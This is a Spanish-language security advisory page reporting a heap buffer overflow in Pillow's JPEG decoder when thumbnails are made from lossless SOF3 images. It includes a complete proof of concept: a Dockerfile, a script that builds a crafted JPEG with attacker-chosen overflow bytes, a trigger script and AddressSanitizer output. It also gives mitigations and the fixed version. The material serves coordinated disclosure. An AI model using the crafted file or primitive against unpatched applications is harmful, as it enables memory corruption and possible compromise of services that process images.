Crítica

Pillow: Desbordamiento de búfer en el montículo en ImagingJpegDecode

  • Publicada: 20.10.2026
  • Actualizado: 21.10.2026 10:00

Resumen

JpegImageFile.draft() — que Image.thumbnail() invoca automáticamente — solicita una salida JPEG escalada a 1/2, 1/4 o 1/8 y reduce self._size y las dimensiones de tesela para ajustarse, por lo que _setimage() asigna un búfer de decodificación de una sola fila de ceil(W/s) muestras. ImagingJpegDecode() establece cinfo.scale_num/scale_denom, llama a jpeg_start_decompress() y luego lee las líneas de escaneo en ese búfer sin comparar nunca cinfo.output_width, cinfo.output_height o cinfo.out_color_components con state->xsize, state->ysize y state->bits.

libjpeg-turbo 3.x decodifica JPEG sin pérdidas (SOF3), pero deshabilita fijamente el escalado para flujos sin pérdidas; el valor solicitado scale_denom se descarta silenciosamente. En consecuencia, devuelve filas de ancho completo de W muestras en un búfer dimensionado para ceil(W/s). Cada llamada a jpeg_read_scanlines() escribe (W - ceil(W/s)) x components bytes más allá del final de la asignación en el montículo, y los bytes desbordados corresponden a los valores de píxeles decodificados, exactos a nivel de byte para una imagen sin pérdidas en escala de grises de 8 bits.

La entrada es un JPEG conforme a los estándares, por lo que Image.open(..., formats=["JPEG"]) no lo previene. El analizador SOF en Python de Pillow ya acepta el marcador 0xFFC3 («SOF3», «Spatial lossless») con una precisión de 8 bits, por lo que el archivo se abre con normalidad como una imagen JPEG / modo L en su tamaño total declarado.

Código afectado

En e41083f383c9cd3db95de52564cc0b6452313d4a (main, 2026-08-29):

  • src/libImaging/JpegDecode.c:224-262 — ImagingJpegDecode(); jpeg_start_decompress() en :240, jpeg_read_scanlines() en :252, sin comprobación de geometría intermedia.
  • src/decode.c:222-231 — _setimage(); state->buffer = calloc(1, state->bytes) con state->bytes = (state->bits * state->xsize + 7) / 8.
  • src/PIL/JpegImagePlugin.py:428-464 — JpegImageFile.draft(); calcula s y reduce _size, las dimensiones de tesela y decoderconfig sin noción de codificación sin pérdidas.
  • src/PIL/JpegImagePlugin.py:271 — 0xFFC3: ("SOF3", "Spatial lossless", SOF).
c
// src/libImaging/JpegDecode.c
            if (context->scale > 1) {
                context->cinfo.scale_num = 1;
                context->cinfo.scale_denom = context->scale;
            }
            ...
        case 2:
            if (!jpeg_start_decompress(&context->cinfo)) {
                break;
            }
            state->state++;
            /* fall through */
        case 3:
            ok = 1;
            while (state->y < state->ysize) {
                ok = jpeg_read_scanlines(&context->cinfo, &state->buffer, 1);

Debido a que state->ysize (ceil(H/s)) nunca puede ser igual al output_height de libjpeg cuando ocurre s >= 2, la decodificación siempre finaliza con un error después de que las filas ya se hayan escrito: la entidad invocadora recibe una excepción y ningún píxel. El OSError es una consecuencia del desbordamiento, no el problema reportado en sí.

Primitiva

Por línea de escaneo: una escritura contigua de (W - ceil(W/s)) x c bytes inmediatamente después de un bloque calloc(ceil(W/s) x c), donde c = 1 para el modo L y 4 para RGB (RGBX) y CMYK; repetida para ceil(H/s) filas sobre la misma región. La clase de tamaño de búfer es elegida por el atacante mediante W, y para escala de grises el contenido que desborda es una cadena de bytes arbitraria elegida por el atacante.

Medido en el reproductor a continuación: 1200x1100 modo L, s=2 — una asignación de 600 bytes, 600 bytes escritos más allá de ella, con ASan reportando toda la escritura de la fila de 1200 bytes como un único memcpy.

Umbral: draft() debe seleccionar s >= 2, es decir, W // requested_w >= 2 y H // requested_h >= 2. Para thumbnail((256,256)) con el valor por defecto reducing_gap=2.0, esto implica W, H >= 1024.

Reproducción

Reproductor autónomo en Docker (Ubuntu 24.04, clang 20, libjpeg-turbo 3.1.4 y Pillow compilados desde el código fuente con -fsanitize=address; Pillow descargado en ${TARGET_COMMIT}, predeterminado e41083f383c9cd3db95de52564cc0b6452313d4a). Guarde los tres archivos siguientes como Dockerfile, make_sof3.py y trigger.py en un directorio vacío, y luego ejecute:

bash
docker build -t pillow-sof3-oob . && docker run --rm pillow-sof3-oob

make_sof3.py es un codificador independiente que emite un JPEG sin pérdidas de Huffman en escala de grises de 8 bits conforme a los estándares (SOI / DHT / SOF3 P=8, Y=1100, X=1200, Nf=1 / SOS Ss=1 predictor 1, Se=0, Ah=Al=0 / diferencias de fila codificadas por entropía / EOI), cuyas filas contienen un patrón de marcador repetitivo. trigger.py lo abre y llama a thumbnail(), cuyo draft() implícito selecciona s=2 y asigna un búfer de fila de 600 bytes.

Dockerfile

dockerfile
FROM ubuntu:24.04
ENV DEBIAN_FRONTEND=noninteractive
ARG TARGET_COMMIT=e41083f383c9cd3db95de52564cc0b6452313d4a
ARG CLANG_VERSION=20
ARG LIBJPEG_TURBO_TAG=3.1.4

RUN apt-get update && apt-get install -y --no-install-recommends \
        ca-certificates git make cmake nasm pkg-config libc6-dev gcc \
        wget gnupg lsb-release software-properties-common \
        python3 python3-dev python3-pip python3-venv zlib1g-dev \
    && wget -qO /tmp/llvm.sh https://apt.llvm.org/llvm.sh && chmod +x /tmp/llvm.sh && /tmp/llvm.sh ${CLANG_VERSION} \
    && apt-get install -y --no-install-recommends clang-${CLANG_VERSION} llvm-${CLANG_VERSION} libclang-rt-${CLANG_VERSION}-dev \
    && rm -rf /var/lib/apt/lists/*

ENV CC=clang-20
ENV CXX=clang++-20
ENV CFLAGS="-g -fno-omit-frame-pointer -O1 -fsanitize=address"
ENV CXXFLAGS="-g -fno-omit-frame-pointer -O1 -fsanitize=address"
ENV LDFLAGS="-fsanitize=address"

# --- libjpeg-turbo 3.x (lossless SOF3 support) built with ASan ---
RUN git clone https://github.com/libjpeg-turbo/libjpeg-turbo /src/libjpeg-turbo
RUN cd /src/libjpeg-turbo && git checkout ${LIBJPEG_TURBO_TAG} \
    && cmake -B /build/ljt -S . -DCMAKE_BUILD_TYPE=None \
        -DCMAKE_C_COMPILER=clang-20 \
        -DCMAKE_C_FLAGS="$CFLAGS" \
        -DCMAKE_EXE_LINKER_FLAGS="$LDFLAGS" \
        -DCMAKE_SHARED_LINKER_FLAGS="$LDFLAGS" \
        -DCMAKE_INSTALL_PREFIX=/opt/ljt -DWITH_JPEG8=0 -DENABLE_STATIC=0 \
    && cmake --build /build/ljt -j"$(nproc)" && cmake --install /build/ljt

# --- Pillow at the pinned commit, built with ASan against that libjpeg ---
RUN git clone https://github.com/python-pillow/Pillow /src/repo
WORKDIR /src/repo
RUN git checkout ${TARGET_COMMIT}

ENV JPEG_ROOT=/opt/ljt
ENV LD_LIBRARY_PATH=/opt/ljt/lib
RUN python3 -m venv /venv \
    && /venv/bin/pip install --quiet --upgrade pip "setuptools>=80" wheel pybind11 \
    && CFLAGS="$CFLAGS" LDFLAGS="$LDFLAGS -Wl,-rpath,/opt/ljt/lib" \
       /venv/bin/pip install --no-build-isolation --no-deps . \
    && ln -sf "$(clang-20 -print-file-name=libclang_rt.asan-x86_64.so)" /opt/libasan.so \
    && LD_PRELOAD=/opt/libasan.so ASAN_OPTIONS=detect_leaks=0 \
       /venv/bin/python3 -c "from PIL import Image, features; print(Image.__version__, features.version('jpg'))"

COPY make_sof3.py /tmp/make_sof3.py
COPY trigger.py /tmp/trigger.py
RUN python3 /tmp/make_sof3.py /tmp/sof3_gray_1200x1100.jpg

ENV ASAN_OPTIONS=detect_leaks=0:abort_on_error=1:symbolize=1
ENV ASAN_SYMBOLIZER_PATH=/usr/lib/llvm-20/bin/llvm-symbolizer
ENV LD_PRELOAD=/opt/libasan.so
CMD ["/bin/sh","-c","cd /tmp && /venv/bin/python3 /tmp/trigger.py 2>&1; echo EXIT=$?"]

make_sof3.py

python
#!/usr/bin/env python3
"""Generate an 8-bit grayscale lossless-Huffman (SOF3) JPEG.

Standards-compliant per ITU-T T.81 Annex H (lossless mode), predictor 1 (Ra).
Rows carry an attacker-chosen marker byte pattern verbatim (lossless => exact).
"""
import struct
import sys

W = 1200
H = 1100
MARKER = b"AAAABBBBCCCCDDDD"  # attacker-chosen bytes that land past the buffer


class BitWriter:
    def __init__(self):
        self.out = bytearray()
        self.acc = 0
        self.n = 0

    def put(self, value, nbits):
        for i in range(nbits - 1, -1, -1):
            self.acc = (self.acc << 1) | ((value >> i) & 1)
            self.n += 1
            if self.n == 8:
                self.out.append(self.acc)
                if self.acc == 0xFF:
                    self.out.append(0x00)  # byte stuffing
                self.acc = 0
                self.n = 0

    def flush(self):
        while self.n:
            self.put(1, 1)
        return bytes(self.out)


# Canonical Huffman: 17 symbols (categories 0..16), all of code length 5.
BITS = [0] * 17
BITS[5] = 17
HUFFVAL = list(range(17))
CODES = {sym: (i, 5) for i, sym in enumerate(HUFFVAL)}


def category(d):
    if d == 0:
        return 0
    return abs(d).bit_length()


def build_pixels():
    rows = []
    for y in range(H):
        row = bytearray()
        while len(row) < W:
            row += MARKER
        rows.append(bytes(row[:W]))
    return rows


def main(path):
    rows = build_pixels()
    bw = BitWriter()
    prev = None
    for y in range(H):
        row = rows[y]
        for x in range(W):
            s = row[x]
            if y == 0 and x == 0:
                pred = 1 << 7          # 2^(P-1-Pt)
            elif x == 0:
                pred = prev[0]         # Rb for first sample of a line
            else:
                pred = row[x - 1]      # Ra, predictor 1
            d = (s - pred) & 0xFFFF
            if d >= 0x8000:
                d -= 0x10000
            ssss = category(d)
            code, length = CODES[ssss]
            bw.put(code, length)
            if ssss:
                v = d if d > 0 else d + (1 << ssss) - 1
                bw.put(v & ((1 << ssss) - 1), ssss)
        prev = row
    entropy = bw.flush()

    out = bytearray()
    out += b"\xff\xd8"                                        # SOI
    # DHT: class 0 (DC/lossless), table id 0
    dht = bytes([0x00]) + bytes(BITS[1:17]) + bytes(HUFFVAL)
    out += b"\xff\xc4" + struct.pack(">H", len(dht) + 2) + dht
    # SOF3: lossless, Huffman, sequential
    sof = struct.pack(">BHHB", 8, H, W, 1) + bytes([1, 0x11, 0])
    out += b"\xff\xc3" + struct.pack(">H", len(sof) + 2) + sof
    # SOS: Ns=1, Cs=1, Td=0/Ta=0, Ss=1 (predictor 1), Se=0, Ah=0/Al=0
    sos = bytes([1, 1, 0x00, 1, 0, 0])
    out += b"\xff\xda" + struct.pack(">H", len(sos) + 2) + sos
    out += entropy
    out += b"\xff\xd9"                                        # EOI
    with open(path, "wb") as f:
        f.write(bytes(out))
    print(f"wrote {path}: {len(out)} bytes, {W}x{H} 8-bit grayscale SOF3 lossless")


if __name__ == "__main__":
    main(sys.argv[1] if len(sys.argv) > 1 else "/tmp/sof3_gray_1200x1100.jpg")

trigger.py

python
import sys
from PIL import Image, features
print("Pillow", Image.__version__, "| libjpeg", features.version("jpg"), flush=True)
im = Image.open("/tmp/sof3_gray_1200x1100.jpg")
print("format=%s mode=%s size=%s" % (im.format, im.mode, im.size), flush=True)
print(">>> im.thumbnail((256, 256))  # draft() picks s=2 -> 600-byte row buffer", flush=True)
sys.stdout.flush()
try:
    im.thumbnail((256, 256))
    print("thumbnail returned, size=%s" % (im.size,), flush=True)
except Exception as e:
    print("exception: %r" % (e,), flush=True)

Salida validada:

Pillow 13.0.0.dev0 | libjpeg 6.2
format=JPEG mode=L size=(1200, 1100)
>>> im.thumbnail((256, 256))  # draft() picks s=2 -> 600-byte row buffer
=================================================================
==7==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x74e4e904aad8 at pc 0x7784ea4f9422
WRITE of size 1200 at 0x74e4e904aad8 thread T0
    #0 __asan_memcpy
    #1 jcopy_sample_rows /src/libjpeg-turbo/src/wrapper/../jutils.c:121:5
    #2 sep_upsample /src/libjpeg-turbo/src/wrapper/../jdsample.c:100:3
    #3 process_data_simple_main /src/libjpeg-turbo/src/wrapper/../jdmainct.c:317:3
    #4 jpeg_read_scanlines /src/libjpeg-turbo/src/wrapper/../jdapistd.c:359:3
    #5 ImagingJpegDecode /src/repo/src/libImaging/JpegDecode.c:252:22
    #6 _decode /src/repo/src/decode.c:132:14

0x74e4e904aad8 is located 0 bytes after 600-byte region [0x74e4e904a880,0x74e4e904aad8)
allocated by thread T0 here:
    #0 calloc
    #1 _setimage /src/repo/src/decode.c:230:34

SUMMARY: AddressSanitizer: heap-buffer-overflow in __asan_memcpy

Control negativo, misma imagen: un JPEG DCT base con dimensiones idénticas genera la miniatura limpiamente, debido a que libjpeg respeta el escalado 1/2 exactamente como lo calculó draft().

control baseline DCT JPEG: JPEG L (1200, 1100)
thumbnail OK, size = (256, 235) -- no ASan report

Alcance y consideraciones

  • Reproducido en main en el commit e41083f383c9cd3db95de52564cc0b6452313d4a, que corresponde al origin/main actual a fecha de 2026-08-30. También reportado frente a 12.3.0.
  • Requiere que la librería libjpeg vinculada admita decodificación sin pérdidas, es decir, libjpeg-turbo >= 3.0. Esto es lo que empaquetan las ruedas oficiales de Pillow. Las compilaciones frente a libjpeg-turbo 2.x o IJG libjpeg rechazan SOF3 antes de decodificar cualquier fila y no están afectadas.
  • No interviene ninguna configuración no predeterminada de Pillow: Image.thumbnail() invoca draft() por defecto, y los bytes desencadenantes provienen exclusivamente de los datos del archivo.
  • Solo están afectadas las rutas que usan draft() antes de la carga. open().load() y resize() decodifican a escala 1 y no se ven afectadas. Llamar a img.load() antes de thumbnail(), o utilizar thumbnail(..., reducing_gap=None), evita la ruta en una aplicación en la actualidad.
  • No afectado en la misma ruta de código: SOF11 (aritmético sin pérdidas) falla con JERR_ARITH_NOTIMPL antes de cualquier fila; los formatos sin pérdidas de 12 y 16 bits son rechazados por SOF() de Pillow porque requiere bits == 8; SOF5-7/13-15 fallan con JERR_SOF_UNSUPPORTED.

Créditos y divulgación

Encontrado por Anthropic usando Claude para estudiar la seguridad del software de código abierto, validado manualmente por Ada Logics.

Este reporte sigue la política de divulgación coordinada de vulnerabilidades de Anthropic (https://www.anthropic.com/coordinated-vulnerability-disclosure), con un periodo de divulgación de 90 días a partir de la fecha de este informe.

El crédito corresponde a Claude (Anthropic) y Ada Logics.

Qué hacer

Actualice Pillow a la versión 13.0.0 o posterior. Para las versiones afectadas, el aviso señala que evitar draft() antes de la carga, llamar a img.load() antes de thumbnail(), o invocar thumbnail(..., reducing_gap=None), evita la ruta de código vulnerable.

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Python (PyPI) pillow < 13.0.0 13.0.0

Referencias

Puntuación CVSS -
Vector CVSS
CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Debilidad (CWE)
CWE-122
Plataforma
Python (PyPI)
Paquete
pillow
Publicada
20.10.2026
Actualizado
21.10.2026 10:00

Fuentes y licencias · Editado o traducido por DockRay; se mantienen los derechos y las licencias de las fuentes.

OSV / GitHub Advisory Database - GHSA-8g5g-8vmr-9782 - CC BY 4.0

Historial de vulnerabilidades: pillow

Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (82) en el archivo
Entradas en total
82
Primera → última
04.2014 10.2026
Sin corrección
0
Explotada en ataques
1

Distribución por gravedad

  • Crítica 11
  • Alta 53
  • Media 16
  • Baja 1
  • Sin evaluar 1

Divulgaciones por año

  1. 2017: 1
  2. 2018: 0
  3. 2019: 1
  4. 2020: 10
  5. 2021: 20
  6. 2022: 8
  7. 2023: 3
  8. 2024: 2
  9. 2025: 1
  10. 2026: 24

antes: 12

Gravedad:
  1. Pillow: Desbordamiento de búfer en el montículo en ImagingJpegDecode esta entrada
    Crítica CVE-2026-112403 < 13.0.0 13.0.0
  2. Alta · 7.5 CVE-2026-59200 >= 5.1.0, < 12.3.0 12.3.0
  3. Alta CVE-2026-42311 >= 10.3.0, < 12.2.0 12.2.0
  4. Alta · 7.5 CVE-2026-40192 >= 10.3.0, < 12.2.0 12.2.0
  5. Alta CVE-2026-25990 >= 10.3.0, < 12.1.1 12.1.1
  6. Alta · 7.1 CVE-2025-48379 >= 11.2.0, < 11.3.0 11.3.0
  7. Alta · 6.7 CVE-2024-28219 < 10.3.0 10.3.0
  8. Crítica · 8.1 CVE-2023-50447 < 10.2.0 10.2.0
Mostrar más (20) Mostrando 20 de 64

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.